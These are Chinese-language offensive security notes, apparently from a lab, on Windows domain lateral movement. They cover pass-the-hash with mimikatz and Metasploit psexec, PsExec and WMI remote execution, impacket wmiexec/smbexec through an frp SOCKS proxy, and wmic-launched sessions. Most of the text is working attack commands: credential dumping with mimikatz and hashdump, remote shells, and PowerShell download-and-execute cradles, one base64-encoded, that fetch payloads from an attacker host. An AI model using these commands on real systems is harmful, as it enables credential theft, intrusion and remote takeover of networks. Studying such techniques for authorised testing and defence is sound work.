Kerberos
Kerberos身份验证流程 - zpchcbd - 博客园 (cnblogs.com)
能用通用的语言介绍下 Kerberos 协议么? - 知乎 (zhihu.com)
介绍
在 Kerberos 认证中,最主要的问题是如何证明「你是你」的问题,如当一个 Client 去访问 Server 服务器上的某服务时,Server 如何判断 Client 是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性,这正是 Kerberos 解决的问题。在域渗透过程中 Kerberos 协议的攻防也是很重要的存在。
Kerberos 主要是用在域环境下的身份认证协议。
哈希传递(Path The Hash)
哈希传递通过找到与账户相关的密码散列值(NTLM Hash)来攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,如果计算机的本地管理员账号和密码都是相同的,攻击者就能使用哈希传递方法登陆内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值。
散列值在Windows中是用来证明身份的,攻击者往往会使用第三方工具来完成任务。在win2012之后的版本,默认内存中不会记录明文密码,因此攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。
NTLM Hash进行哈希传递
先通过mimikatz找到域控的NTLM
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
获取ntlm为: 209c6174da490caeb422f3fa5a7ae634
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:sentiment.com /ntlm:209c6174da490caeb422f3fa5a7ae634
执行后会弹出cmd窗口,此时就拿到了administrator的权限
AES-256密钥进行哈希传递
先通过mimikatz找到域控的aes-256密文
mimikatz "privilege::debug" "sekurlsa::ekeys"
获取秘钥:ehdc2539aac27hffdb3a83dc20d16a7efcf62bb0bb5136454fb48bfbf5d5b0ea
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:sentiment /aes256:ehdc2539aac27hffdb3a83dc20d16a7efcf62bb0bb5136454fb48bfbf5d5b0ea
执行后会弹出cmd窗口,此时就拿到了administrator权限
MSF
先生成shell,获取边缘主机的会话
添加内网主机路由
run autoroute -s 192.168.52.170 -n 255.255.255.0
hash传递攻击
注:这里的a0a0…代表的是LM hash,是msf默认自带的而如果我们获取到了ntlm hash,则LM只需要随便输入32位字符即可
msf6 > use exploit/windows/smb/psexec
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 192.168.52.170
msf6 > set smbdomain sentiment #域名
msf6 > set smbuser administrator #用户名
msf6 > set smbpass a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0a0:209c6174da490caeb422f3fa5a7ae634
msf6 > run
除此外,还可以通过msf自带的抓取hash功能,替换到smbpass处**(若获取到铭文密码亦可)**
run post/windows/gather/hashdump
当获取到边缘主机的会话,并且抓到administrator的hash后,即可通过该hash,进行哈希传递
更新KB2871997补丁产生的影响
微软在2014年5月发布了 KB2871997补丁,KB2871997 补丁将使本地帐号不再可以用于远程接入系统,不管是 Network logon 还是 Interactive login。其后果就是:无法通过本地管理员权限对远程计算机使用 Psexec、WMI、smbexec、IPC 等,也无法访问远程主机的文件共享等。
PsExec
介绍
PsExec是SysInternals套件中的一款强大的软件。攻击者通过命令行环境与目标机器进行连接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行图形化控制,降低了恶意操作被管理员发现的可能性。
PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,然后通过psexec服务运行命令,运行结束后删除任务。
攻击过程
先建立IPC通道
net use \\192.168.52.170\IPC$ /user:sentiment\administrator admin
此时执行
PsExec64.exe -accepteula \\192.168.52.170 -s cmd.exe
此时便会获取目标机器的system权限的会话
上边哈希传递msf中使用的模块就是psexec
注意事项
在使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将被自动删除。由于创建和删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
WMI
WMI使用学习笔记_乌鸦安全的博客-CSDN博客_wmi用户名密码
介绍
WMI的全名为"Windows Management Instrumentation"。从win8后,Windows操作系统都支持WMI,WMI可以在本地或者远程管理计算机系统。
自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是乎攻击者转向使用WMI进行横向移动。在渗透时发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中。因为这个过程不会记录日志,所以对蓝队来说大大增加了溯源的成本。对攻击者来说,被发现的可能性降低,隐蔽性提高。很多APT组织现在都喜欢使用WMI进行攻击。
攻击过程
wmic /node:192.168.52.170 /user:sentiment\administrator /password:admin process call create "cmd.exe /c ipconfig >C:\ip.txt"
这种方式没有回显,因此需要建立IPC共享命名管道,用于读取执行结果
net use \\192.168.52.170\IPC$ /user:sentiment\administrator admin
type \\192.168.52.170\c$\ip.txt
这种方式没有回显,因此若我们执行的是恶意程序,将不会留下日志信息。
impacket工具包中的wmiexec
下载好工具包后先
sudo python3 setup.py install
代理转发
建个代理转发
frps.ini
[common]
bind_port = 7000
./frps -c frps.ini
开启服务
frpc.ini
[common]
server_addr = 192.168.142.129
server_port = 7000
[plugin_socks]
type=tcp
remote_port = 1008
plugin = socks5
frpc.exe -c frpc.ini
开启服务
wmiexec.py
在kali上安装impacket工具包,我们使用wmiexec.py
这个利用脚本获取目标系统的Shell。该方法主要是从Linux向Windows进行横向渗透测试时使用
proxychains python3 wmiexec.py administrator@192.168.52.170
smbexec.py
proxychains python3 smbexec.py sentiment/administrator:admin@192.168.52.170
wmiexec.vbs
wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。wmiexec.vbs
可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell。
交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.52.170 administrator admin
非交互式shell
cscript.exe //nologo wmiexec.vbs /cmd 192.168.42.129 administrator admin "whoami"
wait参数(中间无空格)
对于运行时间比较长的命令,例如ping、systeminfo,需要添加 -wait5000
或者更长时间的参数。
注:在这里基本上很多资料都写成了 -wait 5000(空格),这是错误的写法。
wmic上线CS
CS生成powershell上线命令
wmic /node:192.168.52.170 /user:administrator /password:admin process call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.142.129:80/a'))""
wmic上线MSF
use exploit/multi/script/web_delivery
set target 2
在这里修改下payload
:
set payload windows/meterpreter/reverse_tcp
options
设置lhost
:
set lhost 192.168.142.129
run
payload
wmic /node:192.168.52.170 /user:administrator /password:admin process call create "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABoAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGgALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABoAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMgAuADEAMgA5ADoAOAAwADgAMAAvAGcAUQBjAGMANQBtAC8AdgA4AEwAawBqAHoAYQBKAEkAUwBsAFMAWQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQAMgAuADEAMgA5ADoAOAAwADgAMAAvAGcAUQBjAGMANQBtACcAKQApADsA"
CS和MSF这种方式貌似就不适用于中转上线了,因为目标靶机不出网无法访问到服务端地址